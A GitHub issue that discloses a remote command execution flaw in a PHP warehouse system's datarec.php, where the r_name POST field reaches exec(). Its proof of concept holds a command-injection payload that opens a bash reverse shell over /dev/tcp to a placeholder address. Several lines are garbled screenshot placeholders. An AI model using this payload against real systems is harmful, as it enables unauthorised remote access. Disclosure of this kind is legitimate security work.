Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Remote Command Execution vulnerability in /wms/src/system/datarec.php #12

Open
leiyuyu041013 opened this issue Oct 18, 2021 · 0 comments

Comments

@leiyuyu041013
Copy link

A RCE was found in system/datarec.php, the $_POST[r_name] is directly passed into the $mysqlstr, and is executed by exec, which causing a RCE.

2U7JWGK7X(EZH(N$FE%H52P

POC:
Firstly, start a nc listener:
U0 }2 ZX_1W3~R5`VW(VZ@D

Next, post a request with parameter:
r_name=$(bash -c 'bash -i >& /dev/tcp/x.x.x.x/8888 0<&1 2>&1')
CEJ17J 7`ZUFTTE}INOM$RG

Finally, you get the reverse shell:
HRVEDK)LA`%4_BC5ELHJ0QY

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant